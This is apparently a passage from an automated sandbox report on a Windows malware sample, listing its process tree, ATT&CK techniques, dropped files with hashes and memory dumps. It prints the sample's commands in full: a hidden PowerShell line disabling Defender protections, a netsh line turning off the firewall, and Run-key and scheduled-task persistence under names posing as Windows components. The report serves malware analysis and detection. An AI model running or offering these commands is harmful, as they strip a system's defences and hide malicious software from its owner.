    "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue; netsh advfirewall firewall set rule group='Windows Defender Firewall' new enable=no 2>$null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5340
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall set rule "group=Windows Defender Firewall" new enable=no
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5280
- - C:\Windows\system32\reg.exe
    "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHostSvc /t REG_SZ /d \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:3592
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Create /SC ONLOGON /TN Microsoft\Windows\RuntimeBroker\WindowsHostSvc /TR \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3156
- - C:\ProgramData\Microsoft\Windows\Caches\Templates\UpdateHealthTools.exe
    "C:\ProgramData\Microsoft\Windows\Caches\Templates\UpdateHealthTools.exe" --wd1
    3⤵
    - Executes dropped EXE
    PID:5536
- - C:\ProgramData\Microsoft\Windows\Caches\USOShared\DiagnosticsHost.exe
    "C:\ProgramData\Microsoft\Windows\Caches\USOShared\DiagnosticsHost.exe" --wd2
    3⤵
    - Executes dropped EXE
    PID:2452
- - C:\ProgramData\Microsoft\Windows\Caches\ShaderCache\SecurityHealthSystray.exe
    "C:\ProgramData\Microsoft\Windows\Caches\ShaderCache\SecurityHealthSystray.exe" --wd3
    3⤵
    - Executes dropped EXE
    PID:4756
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:2820
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:4452
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:5848
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:1620
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:5252
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:1920
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:5036
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:992
- - C:\Windows\Temp\wermgr.exe
    "C:\Windows\Temp\wermgr.exe" --no-color --config C:\Windows\Temp\mssetup.dat
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:2724
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:5388
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:3044
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:3196
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:4572
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:1032
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:3120
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:6112
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:5964
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:4648
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:4304
- - C:\Windows\system32\cmd.exe
    "cmd" /C ver
    3⤵
    - Executes a command shell one-liner
    PID:4676
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path Win32_VideoController get Name /value
    3⤵
    - Detects videocard installed
    PID:3240
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:572

C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe"
1⤵
- Executes dropped EXE
PID:5872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SecurityHealthHost.dat

Path C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.dat
Size 4B
SHA256 f6e5ff547d5a47ff234d9a5e91f57ee2eed7df94375fdbbec7056fef90fc4c7f
MD5 20c9f5700da1088260df60fcc5df2b53
SHA1 15c94516bd535d2a40fd1d6128545d1300b18b88
SHA512 28db5b089352ace466282970054aa1c0e1d667cc2c0e63fe1fa586993e5fa5d614329994f856bb14c46d9dc5082de1cb89270425041cb876856fafebfaaacc82
MD5 SHA1 SHA512

Submit Download

SecurityHealthHost.exe

Path C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
Size 16.4MB
SHA256 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb
MD5 e52974f2620f598ded1e48bcf2620e8f
SHA1 894abf71208b93d1713736ef090e6f483b63e227
SHA512 bfb64531138c1b3f93f955e1ffed693da234470257022d8c39ca6b009aca1be92052a76e424613ee08dd022b930d822a91580396519b690aabf5f85681c3a2ea
SSDEEP 196608:TteffkoyMpsqS2Xv42VKzYz6Z4qSndf3D+TU3AKKzShEeomlA0hE4U:ufaMVKgKzYz6iqUdPaKK8omlA0hE4U
TLSH
T10F078C1BF65109EDC46BC53981B6252BF231B689A3205BEB1F640E3A5F237D04F6BB14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SecurityHealthSystray.dat

Path C:\ProgramData\Microsoft\Windows\Caches\ShaderCache\SecurityHealthSystray.dat
Size 4B
SHA256 62b1165a9a2cc72290c05c2feee73528b9b225557ba666aa31c5dc246956f878
MD5 c678aec6e828c899b32a099c14ee882c
SHA1 b3ac68fcc908e97dbeb3d60971a24730b35ea37d
SHA512 e96be369c5afe197979b3ad01647505a2405cafff963f7254264d09f6e898df1e716d0755d8a0136f005bb495470661288668cd66c8d0e5fc6493d969c3251b9
MD5 SHA1 SHA512

Submit Download

UpdateHealthTools.dat

Path C:\ProgramData\Microsoft\Windows\Caches\Templates\UpdateHealthTools.dat
Size 4B
SHA256 29ed487a5ab401890a08b02767670f620f780f930695a38f829e5b147d69fe83
MD5 1134ac57b5b1d38b7d70c1b6feaa28cf
SHA1 f7d6e66d2c90bb85703ac6bcf863c2efb250fc8c
SHA512 b8e097c7dd5ccbceefb95fdbeeb50b07339806fd6e3582844912a7c992bdb63b1646080556ead0738355d50f391100ef571cebd4c09442281cc74f070ebc36c5
MD5 SHA1 SHA512

Submit Download

DiagnosticsHost.dat

Path C:\ProgramData\Microsoft\Windows\Caches\USOShared\DiagnosticsHost.dat
Size 4B
SHA256 bba1dc9846ddd9a44c3d3b736faa5bdb6673b8d0fe1b0dd445c9f9adfda2ff72
MD5 28b60a16b55fd531047c0c958ce14b95
SHA1 9b57b2310b54cc1b92c7de8ec68bbd41778994ac
SHA512 356c1fd0e2bb1a21fed262b839ad51d47c566b852f57c79a084a7a090201979f3ff0595279b2421c2b7e13c97d302f5aa4c5bd53b13c10223a67b3df2af584a4
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8a47c61c01c9a0af7c92a510c0967f09c3e507e4c66c1f766c062f8cb31be191
MD5 564de00e4e623b40c33dcf91d9bb6c74
SHA1 aeb13a2e49154eb230c52282edc4cfd3af056bde
SHA512 7bebb8e67ab70e9fbfd10bf6d01b77680ad51b1a17a5b165840248c1e82d193a8cdb870ad18b95d2fe7f15f74cd58370ac7300464225cc17bcb4274cca122a01
TLSH
T1A4216737B3CC8624C899013610CEAC1036BA87DB409E9FABAB84E155A52F698CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c6fd95fcc0d0ce96eaf4e9ad77a27da569c5fbfd67be937f5cdf778a24112d93
MD5 22ff6d3838805bcb46ff29a315d2d542
SHA1 54d4f097c2743787867ffc177015b12dceef86c7
SHA512 3809faa77568b54363b41c6acba682edda92cb0c40591f71c9225df9b1db1b9133347116d460b57e562ca9ab0ab347bb2e64e4c8a0cdc7c9da0bc8a5e6ad4625
TLSH
T1FB216833B3DD8614CC9A413A10CDAC1036B6C7DB40DECEAB7B85E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1aaa642dc0d9be3b9a472c6c1c61e71b93f98aba678fde420a4c44786460c57b
MD5 71a8ba2c63a3e5a007715e34673b5b28
SHA1 d3aaa75db13a93cba3e3d72a9c70e11634629f8e
SHA512 49c0ebafb0ea4a595c4b2dbcc6c379d0b435b163b5f4342f4df751c672e0aabea314e213918d0d44c9b78a3be177dc8463e3f500cf14650de7858a29c9256396
TLSH
T131216A33F3DC8664C89D413650DEAC0035BB87DB419F9F9B6B84E155A42F699CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_d3dwrfjw.4tu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d3dwrfjw.4tu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

__rtsvc_cleanup.bat

Path C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
Size 204B
SHA256 d48627e0362172ba587d06b22b04a296a96d2f10282a2083f16acea89eafae77
MD5 17e5e2982949abcd6bef0d7a387ff19c
SHA1 aa33a0246bb20e060a6aa71ffe1e103f0f27a1f1
SHA512 277c99235eb8295e0176fe1840f246ce6257a5658f42cf7c5311ba58355a04a1c811a65ec9a204ec900637263d9a8289921651ac3f8097ab6cd482f5d46bf468
TLSH
T10CD02207625FCB940413A0E205AE1849818BB4EA9B08A18243A0CAAF8A470AFA092BC5
MD5 SHA1 SHA512 TLSH

Submit Download

mssetup.dat

Path C:\Windows\Temp\mssetup.dat
Size 519B
SHA256 ff29833842fc3f81d79af48e2a9c0bea2d97a336072b8027b516e2f795aa6dbe
MD5 40e2e99a04b772fb2ad10bc9197c9b6d
SHA1 e81098dd81a4d6bfbb499375387be93aa8b592d4
SHA512 408ac7764b922813ec2180e79dc3826cbb02f7cce3f3a14103d72a7e44672b668b009cb41a8d0064161d4082f0e8bbd7354a3c19b45dbfaaef256e0ec83a3a41
TLSH
T129F059194A391EF740C6E182C5267B134FBC4973B1867C6AA2A8567C61FB1AF8321103
MD5 SHA1 SHA512 TLSH

Submit Download

wermgr.exe

Path C:\Windows\Temp\wermgr.exe
Size 6.1MB
SHA256 d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1
MD5 f6d520ae125f03056c4646c508218d16
SHA1 f65e63d14dd57eadb262deaa2b1a8a965a2a962c
SHA512 d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d
SSDEEP 98304:JtRK2Xvf49fuI0nBkLuFvJr4XGCkc/zF2fz5IZ4ePzpS+KdbjrD/6K+TU3nA:I2Xv42VKzYz6Z4qSndf3D+TU3A
TLSH
T1BD569D6AB7A400E8C8BAC53CC6479607E7B2B8155370A7DB17B4667A1F336D11E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1968-22-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp

Download

memory/1968-47-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp

Download

memory/2348-103-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-107-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-76-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-80-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-84-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-88-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-127-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-123-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-111-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-115-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-56-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2348-119-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download

memory/2452-78-0x00007FF697DB0000-0x00007FF698B22000-memory.dmp

Download

memory/2724-100-0x0000022005D00000-0x0000022005D20000-memory.dmp

Download

memory/3624-38-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-26-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-37-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-39-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-40-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-43-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-36-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-35-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-23-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-32-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-31-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-30-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-28-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/3624-27-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-11-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-9-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-21-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-1-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-19-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-2-0x000001DB06290000-0x000001DB062B2000-memory.dmp

Download

memory/4232-18-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-17-0x000001DB1E490000-0x000001DB1E49A000-memory.dmp

Download

memory/4232-16-0x000001DB1E940000-0x000001DB1E9F2000-memory.dmp

Download

memory/4232-15-0x000001DB1E470000-0x000001DB1E48E000-memory.dmp

Download

memory/4232-12-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-0-0x00007FFF2469F000-0x00007FFF246A0000-memory.dmp

Download

memory/4232-10-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-3-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-8-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-7-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4232-4-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

Download

memory/4756-79-0x00007FF767EF0000-0x00007FF768C62000-memory.dmp

Download

memory/5536-77-0x00007FF73F630000-0x00007FF7403A2000-memory.dmp

Download

memory/5872-48-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

Download